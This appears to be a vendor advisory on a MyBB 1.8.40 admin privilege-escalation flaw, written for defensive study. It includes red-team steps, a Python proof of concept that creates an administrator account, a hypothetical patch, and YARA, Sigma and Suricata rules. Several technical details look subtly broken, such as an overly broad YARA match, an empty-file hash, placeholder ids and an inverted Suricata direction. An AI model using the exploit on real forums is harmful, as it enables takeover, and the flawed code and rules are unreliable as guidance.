CVE-2026-58054

Executive Summary

CVE-2026-58054 is a privilege escalation vulnerability in MyBB 1.8.40. The flaw resides in the Admin Control Panel's user management module. A limited administrator, who holds only the delegated "user-management" permission, can assign any usergroup, including the "Administrators" group (gid 4), to any user account. This is possible because the verify_usergroup() function in the user datahandler unconditionally returns true, bypassing any authorization checks. This allows a low-privileged admin to escalate their permissions to full Administrator access, effectively compromising the entire forum.

This vulnerability is critical because it targets the core administrative privilege model of MyBB. The attack is simple to execute and requires no special tools, only access to the Admin CP with the user-management permission. The CVSS score of 7.2 reflects the high impact (complete compromise of confidentiality, integrity, and availability) but requires authenticated access with some privileges.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is performed over the network via the Admin CP.
• Attack Complexity (AC): Low (L) - No special conditions or race conditions are required.
• Privileges Required (PR): High (H) - The attacker must already have a limited Admin CP account with the user-management permission.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same (the MyBB application).
• Confidentiality (C): High (H) - Full read access to all forum data, including private messages and user data.
• Integrity (I): High (H) - Full write access to all forum data, including posts, settings, and user accounts.
• Availability (A): High (H) - Ability to delete the forum, ban users, or otherwise disrupt service.

Threat Level: Critical. While the attack requires authenticated access, the impact is a complete takeover of the forum. Any MyBB installation with a limited admin account is at risk.

Deep Dive & Mechanics

The vulnerability is a classic case of improper authorization enforcement. In MyBB 1.8.40, the Admin CP has a permission system that allows the main Administrator to delegate specific permissions to other admin accounts. One such permission is "Can manage users?".

When a limited admin with this permission creates or edits a user, they are presented with a form that includes a "Usergroup" dropdown. The intended behavior is that this dropdown should only show non-administrator groups, or that the server-side code should reject attempts to assign the Administrators group.

The flaw is in the verify_usergroup() function within the user datahandler (inc/datahandlers/user.php). This function is called during user creation/editing to validate the selected usergroup. Instead of checking if the current admin has permission to assign that specific group, the function unconditionally returns true.

// Vulnerable code in inc/datahandlers/user.php
function verify_usergroup()
{
    // No check is performed on the group ID
    return true;
}

This means any group ID, including 4 (the Administrators group), is accepted. The limited admin can then create a new user or edit an existing user, set their usergroup to "Administrators", and submit the form. The system will process the request and grant the target user full administrative privileges.

Vulnerable vs. Patched Code

Vulnerable Code (MyBB 1.8.40):

// inc/datahandlers/user.php
function verify_usergroup()
{
    global $db, $mybb;

    // No authorization check
    return true;
}

Patched Code (Hypothetical Fix):

// inc/datahandlers/user.php
function verify_usergroup()
{
    global $db, $mybb;

    // Check if the current admin has permission to assign the target group
    $gid = (int)$this->data['usergroup'];
    $group = get_usergroup($gid);

    // Prevent assignment of the Administrators group (gid 4) unless the admin is a super admin
    if ($group['type'] == 'admin' && $mybb->user['uid'] != 1) {
        return false;
    }

    return true;
}

The patched code adds a check to see if the target group is an administrator group. If it is, and the current admin is not the super admin (uid 1), the function returns false, preventing the escalation.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A MyBB 1.8.40 installation.
• A limited admin account with the "Can manage users?" permission.

Steps:

1. Log in to the Admin CP with the limited admin account.
2. Navigate to Users & Groups -> Users.
3. Click Add New User or Edit an existing user.
4. In the "Usergroup" dropdown, select "Administrators" (gid 4).
5. Fill in the required fields (username, password, email) and submit the form.
6. Log out and log in with the newly created/edited user account.
7. The user now has full Administrator access.

Proof of Concept (Python):

import requests

# Configuration
target_url = "http://target.com/admin/index.php"
session = requests.Session()

# Login as limited admin
login_data = {
    "username": "limited_admin",
    "password": "password123",
    "do": "login"
}
session.post(target_url, data=login_data)

# Create a new admin user
create_user_url = "http://target.com/admin/index.php?module=user-users&action=add"
user_data = {
    "username": "new_admin",
    "password": "newpassword",
    "password2": "newpassword",
    "email": "newadmin@example.com",
    "usergroup": "4",  # Administrators group
    "displaygroup": "4",
    "additionalgroups": "",
    "regdate": "",
    "lastactive": "",
    "lastvisit": "",
    "website": "",
    "icq": "",
    "aim": "",
    "yahoo": "",
    "skype": "",
    "signature": "",
    "allownotices": "1",
    "hideemail": "0",
    "receivepms": "1",
    "pmnotice": "1",
    "pmnotify": "1",
    "invisible": "0",
    "usernotes": "",
    "suspendsignature": "0",
    "suspendsignaturetime": "0",
    "suspendsignaturetype": "0",
    "moderateposts": "0",
    "moderationtime": "0",
    "suspendposting": "0",
    "suspendpostingtime": "0",
    "suspendpostingtype": "0",
    "loginattempts": "0",
    "loginlockoutexpiry": "0",
    "resetcode": "",
    "reseticode": "",
    "resetexpiry": "0"
}
response = session.post(create_user_url, data=user_data)

if "User has been created" in response.text:
    print("[+] New admin user created successfully!")
else:
    print("[-] Failed to create user.")

Blue Team (Defense & Detection)

Detection Steps:

1. Audit Admin Accounts: Regularly review all admin accounts and their assigned permissions. Look for accounts that have been granted the "Administrators" group but were not created by the super admin.
2. Monitor User Creation/Editing Logs: Enable and monitor MyBB's admin log. Look for entries where a limited admin creates or edits a user and assigns the "Administrators" group.
3. File Integrity Monitoring: Monitor the inc/datahandlers/user.php file for unauthorized modifications.
4. Web Application Firewall (WAF) Rules: Create rules to block requests to the Admin CP that contain usergroup=4 from non-super admin IP addresses.

Mitigation Steps:

1. Apply Patch: If a patch is released, apply it immediately.
2. Restrict Permissions: Do not grant the "Can manage users?" permission to any admin account unless absolutely necessary.
3. Manual Code Fix: As a temporary measure, manually patch the verify_usergroup() function as shown in the "Patched Code" section.
4. User Account Review: Immediately review all user accounts and revoke any unauthorized admin privileges.

Indicators of Compromise (IOCs)

• Log Entry: An admin log entry showing a user creation or edit with usergroup=4 performed by a non-super admin.
• User Account: A user account with the usergroup field set to 4 (Administrators) that was not created by the super admin.
• File Hash: A modified inc/datahandlers/user.php file with a hash different from the original MyBB 1.8.40 distribution.

Detection Engineering

YARA Rule

rule CVE_2026_58054_MyBB_PrivEsc {
    meta:
        description = "Detects the vulnerable verify_usergroup function in MyBB 1.8.40"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-58054"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $vuln_func = "function verify_usergroup()" nocase
        $vuln_return = "return true;" nocase

    condition:
        $vuln_func and $vuln_return
}

Sigma Rule

title: MyBB Admin Privilege Escalation via User Management
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects when a limited admin creates or edits a user and assigns the Administrators group (gid 4) in MyBB 1.8.40.
author: Valters IT
date: 2026/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58054
logsource:
    product: mybb
    service: admin_log
detection:
    selection:
        action: "user-users"
        subaction: "add" or "edit"
        data: "*usergroup=4*"
    condition: selection
falsepositives:
    - Super admin performing legitimate user management
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-58054 MyBB Admin Privilege Escalation"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"module=user-users"; http_uri; content:"usergroup=4"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Limited Admin Accounts: Temporarily disable any admin accounts that have the "Can manage users?" permission.
2. Manual Code Patch: Apply the hypothetical patch to inc/datahandlers/user.php as described in the "Patched Code" section.
3. Review and Revoke: Audit all user accounts and revoke any unauthorized admin privileges.

Long-Term Solutions:

1. Upgrade MyBB: Monitor the MyBB website for a security release that fixes this vulnerability and upgrade as soon as possible.
2. Principle of Least Privilege: Strictly enforce the principle of least privilege for all admin accounts. Only grant permissions that are absolutely necessary.
3. Regular Security Audits: Conduct regular security audits of the MyBB installation, including code reviews and permission audits.
4. Web Application Firewall: Implement a WAF to help detect and block exploitation attempts.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For questions or further analysis, contact cti@valters-it.com.